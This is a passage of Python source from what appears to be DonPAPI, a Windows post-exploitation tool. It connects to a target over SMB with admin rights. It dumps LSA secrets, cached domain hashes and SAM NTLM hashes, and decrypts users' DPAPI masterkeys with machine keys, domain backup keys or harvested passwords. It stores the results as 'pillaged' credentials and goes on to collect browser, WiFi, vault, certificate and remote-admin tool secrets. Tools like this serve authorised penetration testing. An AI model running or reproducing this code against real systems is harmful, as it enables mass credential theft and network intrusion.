f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
|
|
return -1
|
|
localfile = user.masterkeys_file[guid]['path']
|
|
|
|
if user.masterkeys_file[guid]['status'] == 'decrypted':
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
# if user.type_validated == True:
|
|
# type=user.type
|
|
if type == '':
|
|
type = user.type
|
|
|
|
if 'MACHINE' in tested_type and 'MACHINE-USER' in tested_type and 'DOMAIN' in tested_type and 'LOCAL' in tested_type:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} : All decryption type failed")
|
|
return -1
|
|
|
|
if type == 'MACHINE':
|
|
# Try de decrypt masterkey file
|
|
for key in self.machine_key:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}")
|
|
try:
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.sid = None # user.sid
|
|
myoptions.username = user.username
|
|
myoptions.pvk = None
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
myoptions.key = key.decode("utf-8")
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
decrypted_masterkey = mydpapi.decrypt_masterkey()
|
|
if decrypted_masterkey != None and decrypted_masterkey != -1:
|
|
# self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" )
|
|
user.masterkeys_file[guid]['status'] = 'decrypted'
|
|
user.masterkeys_file[guid]['key'] = decrypted_masterkey
|
|
# user.masterkeys[localfile] = decrypted_masterkey
|
|
user.type = 'MACHINE'
|
|
user.type_validated = True
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],
|
|
decrypted_with="MACHINE-KEY", decrypted_value=decrypted_masterkey,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
else:
|
|
# if user.type_validated == False:
|
|
tested_type.append('MACHINE')
|
|
self.decrypt_masterkey(user, guid, type='MACHINE-USER', tested_type=tested_type)
|
|
elif type == 'MACHINE-USER':
|
|
# Try de decrypt masterkey file
|
|
for key in self.user_key:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}") # and SID %s , user.sid ))
|
|
try:
|
|
# key1, key2 = deriveKeysFromUserkey(tsid, userkey)
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
if user.is_adconnect is True:
|
|
myoptions.key = key.decode("utf-8")
|
|
myoptions.sid = user.sid
|
|
else:
|
|
myoptions.key = key.decode("utf-8") # None
|
|
myoptions.sid = None # user.sid
|
|
|
|
myoptions.username = user.username
|
|
myoptions.pvk = None
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
decrypted_masterkey = mydpapi.decrypt_masterkey()
|
|
if decrypted_masterkey != -1 and decrypted_masterkey != None:
|
|
# self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
|
|
user.masterkeys_file[guid]['status'] = 'decrypted'
|
|
user.masterkeys_file[guid]['key'] = decrypted_masterkey
|
|
# user.masterkeys[localfile] = decrypted_masterkey
|
|
user.type = 'MACHINE-USER'
|
|
user.type_validated = True
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],
|
|
decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
else:
|
|
tested_type.append('MACHINE-USER')
|
|
if user.type_validated == False and not user.is_adconnect:
|
|
return self.decrypt_masterkey(user, guid, type='DOMAIN', tested_type=tested_type)
|
|
if 'DOMAIN' not in tested_type:
|
|
return self.decrypt_masterkey(user, guid, type='DOMAIN', tested_type=tested_type)
|
|
|
|
elif type == 'DOMAIN':
|
|
if self.options.pvk is not None:
|
|
# For ADConnect
|
|
if user.is_adconnect is True and 'MACHINE-USER' not in tested_type:
|
|
return self.decrypt_masterkey(user, guid, type='MACHINE-USER', tested_type=tested_type)
|
|
# Try de decrypt masterkey file
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}")
|
|
try:
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
myoptions.username = user.username
|
|
myoptions.sid = user.sid
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
decrypted_masterkey = mydpapi.decrypt_masterkey()
|
|
if decrypted_masterkey != -1 and decrypted_masterkey != None:
|
|
# self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey)
|
|
user.masterkeys_file[guid]['status'] = 'decrypted'
|
|
user.masterkeys_file[guid]['key'] = decrypted_masterkey
|
|
# user.masterkeys[localfile] = decrypted_masterkey
|
|
user.type = 'DOMAIN'
|
|
user.type_validated = True
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],
|
|
decrypted_with="DOMAIN-PVK",
|
|
decrypted_value=decrypted_masterkey,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}")
|
|
# if user.type_validated == False:
|
|
tested_type.append('DOMAIN')
|
|
return self.decrypt_masterkey(user, guid, 'LOCAL', tested_type=tested_type)
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}")
|
|
self.logging.debug(f"exception was : {ex}")
|
|
# if user.type_validated == False:
|
|
tested_type.append('DOMAIN')
|
|
return self.decrypt_masterkey(user, guid, 'LOCAL', tested_type=tested_type)
|
|
else:
|
|
tested_type.append('DOMAIN')
|
|
elif 'LOCAL' not in tested_type:
|
|
# On a des credz
|
|
if len(self.options.credz) > 0 and user.masterkeys_file[guid][
|
|
'status'] != 'decrypted': # localfile not in user.masterkeys:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz")
|
|
for username in self.options.credz:
|
|
if username.lower() in user.username.lower(): # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
|
|
# self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username}")
|
|
# for test_cred in self.options.credz[user.username]:
|
|
try:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file")
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
# myoptions.password = self.options.credz[username]
|
|
myoptions.sid = user.sid
|
|
myoptions.pvk = None
|
|
myoptions.key = None
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username])
|
|
if decrypted_masterkey != -1 and decrypted_masterkey != None:
|
|
# self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
|
|
user.masterkeys_file[guid]['status'] = 'decrypted'
|
|
user.masterkeys_file[guid]['key'] = decrypted_masterkey
|
|
# user.masterkeys[localfile] = decrypted_masterkey
|
|
user.type = 'LOCAL'
|
|
user.type_validated = True
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],
|
|
decrypted_with=f"Password:{self.options.credz[username]}",
|
|
decrypted_value=decrypted_masterkey,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return user.masterkeys_file[guid]
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list")
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list")
|
|
self.logging.debug(ex)
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}")
|
|
tested_type.append('LOCAL')
|
|
if user.masterkeys_file[guid]['status'] == 'encrypted':
|
|
if 'DOMAIN' not in tested_type:
|
|
return self.decrypt_masterkey(user, guid, 'DOMAIN', tested_type=tested_type)
|
|
elif 'MACHINE' not in tested_type:
|
|
return self.decrypt_masterkey(user, guid, 'MACHINE', tested_type=tested_type)
|
|
elif 'MACHINE-USER' not in tested_type:
|
|
return self.decrypt_masterkey(user, guid, 'MACHINE-USER', tested_type=tested_type)
|
|
|
|
# on a pas su le dechiffrer, mais on conseve la masterkey
|
|
'''if localfile not in user.masterkeys:
|
|
user.masterkeys[localfile] = None'''
|
|
if user.masterkeys_file[guid]['status'] == 'encrypted':
|
|
user.masterkeys_file[guid]['status'] = 'decryption_failed'
|
|
self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'], decrypted_with='',
|
|
decrypted_value='',
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
return -1
|
|
elif user.masterkeys_file[guid]['status'] == 'decrypted': # Should'nt go here
|
|
return user.masterkeys_file[guid]
|
|
|
|
def test_remoteOps(self):
|
|
filedest = os.path.join(self.options.output_directory, self.options.target_ip)
|
|
try:
|
|
# Remove logging
|
|
# logging.getLogger().setLevel(logging.CRITICAL)
|
|
self.logging.info(f"[{self.options.target_ip}]{bcolors.OKBLUE} [+] Dumping LSA Secrets{bcolors.ENDC}")
|
|
|
|
self.__remoteOps = MyRemoteOperations(self.smb, self.options.k, self.options.dc_ip)
|
|
self.__remoteOps.setExecMethod('smbexec')
|
|
self.__remoteOps.enableRegistry()
|
|
self.__bootKey = self.__remoteOps.getBootKey()
|
|
self.logging.debug(f"bootkey: {self.__bootKey}")
|
|
SECURITYFileName = self.__remoteOps.saveSECURITY()
|
|
SECURITYFileName._RemoteFile__fileName = ntpath.join("Windows",SECURITYFileName._RemoteFile__fileName)
|
|
self.logging.debug("savesecurity")
|
|
self.__LSASecrets = MyLSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps, isRemote=True,
|
|
history=True)
|
|
self.logging.debug("LSASecret")
|
|
self.__LSASecrets.dumpCachedHashes()
|
|
self.logging.debug("dump cached hashes")
|
|
self.__LSASecrets.dumpSecrets()
|
|
filedest_lsa = os.path.join(filedest, 'LSA')
|
|
Path(os.path.split(filedest_lsa.replace('\\', '/'))[0]).mkdir(parents=True, exist_ok=True)
|
|
self.logging.debug(f"[{self.options.target_ip}] Dumping LSA Secrets to file {filedest_lsa}")
|
|
finalfile = self.__LSASecrets.exportSecrets(filedest_lsa)
|
|
self.logging.debug("ret file %s" % finalfile)
|
|
self.__LSASecrets.exportCached(filedest_lsa)
|
|
self.__LSASecrets.finish()
|
|
# Analyser les hash DCC2 pour un export massif.
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Except remoteOps LSA")
|
|
self.logging.debug(ex)
|
|
try:
|
|
tmp_filedest = filedest + '.secrets'
|
|
f = open(tmp_filedest, 'rb')
|
|
secrets = f.read().split(b'\n')
|
|
f.close()
|
|
for index, secret in enumerate(secrets):
|
|
if b'dpapi_machinekey' in secret:
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI Machine key{bcolors.ENDC} : {secret.split(b'dpapi_machinekey:')[1].decode('utf-8')}")
|
|
# print(secret.split(b'dpapi_machinekey:')[1])
|
|
self.machine_key.append(secret.split(b'dpapi_machinekey:')[1])
|
|
self.logging.debug(self.machine_key)
|
|
if b'dpapi_userkey' in secret:
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI User key{bcolors.ENDC} : {secret.split(b'dpapi_userkey:')[1].decode('utf-8')}")
|
|
self.user_key.append(secret.split(b'dpapi_userkey:')[1])
|
|
self.logging.debug(self.user_key)
|
|
if b':' in secret:
|
|
if secret.count(b':') == 1:
|
|
username, password = secret.split(b':')
|
|
if username.decode('utf-8') not in ['dpapi_machinekey', 'dpapi_userkey', 'NL$KM']:
|
|
if username.decode('utf-8') not in self.options.credz:
|
|
|
|
self.options.credz[username.decode('utf-8')] = [password.decode('utf-8')]
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}")
|
|
|
|
else:
|
|
if password.decode('utf-8') not in self.options.credz[username.decode('utf-8')]:
|
|
self.options.credz[username.decode('utf-8')].append(password.decode('utf-8'))
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}")
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='LSA',
|
|
credz_username=username.decode('utf-8'),
|
|
credz_password=password.decode('utf-8'),
|
|
credz_target='',
|
|
credz_path=tmp_filedest,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username='MACHINE$')
|
|
|
|
else:
|
|
self.logging.debug("Secret %i - %s" % (index, secret))
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Except remoteOps Secrets")
|
|
self.logging.debug(ex)
|
|
|
|
try:
|
|
##Add DCC2
|
|
|
|
tmp_filedest = filedest + '.cached'
|
|
f = open(tmp_filedest, 'rb')
|
|
secrets = f.read().split(b'\n')
|
|
f.close()
|
|
for index, secret in enumerate(secrets):
|
|
if b':' in secret and b'#' in secret:
|
|
if secret.count(b':') == 1:
|
|
username, password = secret.split(b':')
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DCC2 hash :{bcolors.OKGREEN} {secret.decode('utf-8')}{bcolors.ENDC}")
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='DCC2',
|
|
credz_username=username.decode('utf-8'),
|
|
credz_password=password.decode('utf-8'),
|
|
credz_target='',
|
|
credz_path=tmp_filedest,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username='MACHINE$')
|
|
|
|
else:
|
|
self.logging.debug("Secret %i - %s" % (index, secret))
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Except remoteOps LSA DCC2")
|
|
self.logging.debug(ex)
|
|
|
|
try:
|
|
# Add SAM
|
|
self.logging.info(f"[{self.options.target_ip}]{bcolors.OKBLUE} [+] Dumping SAM Secrets{bcolors.ENDC}")
|
|
SAMFileName = self.__remoteOps.saveSAM()
|
|
SAMFileName._RemoteFile__fileName = ntpath.join("Windows",SAMFileName._RemoteFile__fileName)
|
|
self.__SAMHashes = MySAMHashes(SAMFileName, self.__bootKey, isRemote=True)
|
|
self.__SAMHashes.dump()
|
|
filedest_sam = os.path.join(filedest, 'SAM')
|
|
self.__SAMHashes.export(filedest_sam)
|
|
self.__SAMHashes.finish()
|
|
# Adding SAM hash to credz
|
|
tmp_filedest = filedest_sam + '.sam'
|
|
f = open(tmp_filedest, 'rb')
|
|
sam_data = f.read().split(b'\n')
|
|
f.close()
|
|
for sam_line in sam_data:
|
|
if b':' in sam_line:
|
|
if sam_line.count(b':') == 6:
|
|
username, sid, lm, ntlm, _, _, _ = sam_line.split(b':')
|
|
# On ne l'ajoute pas aux credz, c'est un hash NTLM, il ne peut pas etre utilisé par dpapi
|
|
'''
|
|
if username.decode('utf-8') not in self.options.credz:
|
|
self.options.credz[username.decode('utf-8')] = [ntlm.decode('utf-8')]
|
|
else:
|
|
if ntlm.decode('utf-8') not in self.options.credz[username.decode('utf-8')]:
|
|
self.options.credz[username.decode('utf-8')].append(ntlm.decode('utf-8'))
|
|
'''
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='SAM',
|
|
credz_username=username.decode('utf-8'),
|
|
credz_password=ntlm.decode('utf-8'),
|
|
credz_target='',
|
|
credz_path=tmp_filedest,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username='MACHINE$')
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+]{bcolors.OKBLUE} SAM : Collected {bcolors.OKGREEN}{len(sam_data)} hashes {bcolors.ENDC}")
|
|
# logging.getLogger().setLevel(logging.DEBUG)
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Except remoteOps SAM")
|
|
self.logging.debug(ex)
|
|
self.__remoteOps.finish()
|
|
return 1
|
|
|
|
def GetRecentFiles(self):
|
|
myRecentFiles = recent_files(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db,
|
|
self.users)
|
|
myRecentFiles.run()
|
|
|
|
def GetMRemoteNG(self):
|
|
from donpapi.software.manager.mRemoteNG import mRemoteNG
|
|
myMRemoteNG = mRemoteNG(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db,
|
|
self.users)
|
|
myMRemoteNG.run()
|
|
|
|
def GetPutty(self):
|
|
from donpapi.software.sysadmin.putty import Putty
|
|
myPutty = Putty(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db)
|
|
myPutty.run()
|
|
|
|
def GetWinscp(self):
|
|
from donpapi.software.sysadmin.winscp import Winscp
|
|
myWinscp = Winscp(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db)
|
|
myWinscp.run()
|
|
|
|
def GetNew_Module(self):
|
|
myNewModule = new_module(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db,
|
|
self.users)
|
|
myNewModule.run()
|
|
|
|
def GetCertificates(self):
|
|
certificates_triage = CertificatesTriage(self.smb, self.myregops, self.myfileops, self.logging, self.options,
|
|
self.db, self.users, self.user_key, self.machine_key)
|
|
certificates_triage.run()
|
|
|
|
def do_test(self):
|
|
try:
|
|
if self.admin_privs and True:
|
|
# self.do_info()
|
|
self.do_who()
|
|
self.get_users()
|
|
#
|
|
|
|
if self.options.no_remoteops == False:
|
|
try:
|
|
self.test_remoteOps()
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Exception in RemoteOps - Maybe blocked by EDR ? ")
|
|
self.logging.debug(f"exception was : {ex}")
|
|
# self.
|
|
if self.options.no_dpapi == False:
|
|
self.get_masterkeys()
|
|
self.Get_DPAPI_Protected_Files()
|
|
self.GetWifi()
|
|
self.GetVaults()
|
|
self.GetCertificates()
|
|
if self.options.no_browser == False:
|
|
self.GetChromeSecrets()
|
|
self.GetEdgeSecrets()
|
|
self.GetMozillaSecrets_wrapper()
|
|
if self.options.no_sysadmins == False:
|
|
self.GetMRemoteNG()
|
|
self.GetPutty()
|
|
self.GetWinscp()
|
|
if self.options.no_vnc == False:
|
|
self.GetVNC()
|
|
if self.options.no_recent == False:
|
|
self.GetRecentFiles()
|
|
|
|
"""
|
|
***Dev your new module code and start it from here
|
|
|
|
if self.options.no_new_module == False:
|
|
self.GetNew_Module()
|
|
"""
|
|
|
|
# self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*\n{bcolors.ENDC}")
|
|
# for user in self.users:
|
|
# user.resume_user_info()
|
|
# user.resume_secrets()
|
|
# else:
|
|
# NOT ADMIN
|
|
self.close_smb()
|
|
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Not connected")
|
|
self.logging.debug(f"exception was : {ex}")
|
|
|
|
def get_secrets(self):
|
|
all_secrets = {}
|
|
for user in self.users:
|
|
all_secrets[user] = user.get_secrets()
|
|
|
|
# DPAPI unprotect
|
|
# DPAPI decryptMasterkey
|
|
# DPAPI GetDomainBackupMasterKey
|
|
# dpapi.py backupkeys -t TOUF/Administrateur:xxxxx@10.0.0.10 --export
|
|
# to get Dropbox decrypted databases?
|
|
# to get iCloud authentication tokens?
|
|
# to decrypt EFS files
|
|
|
|
# ADConnect 'Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf'
|
|
# Program Files\Microsoft Azure AD Sync\Data\ADSync_log.ldf
|
|
# optimisation :
|
|
# le user est il du domain ou local ?
|
|
# dans quel cas peut on dechifffrer avec les hashs ? // si compte admin on se sert des hash locaux/sam ?
|
|
|
|
# DEV : [get_file] SMB SessionError: STATUS_SHARING_VIOLATION(A file cannot be opened because the share access flags are incompatible.)
|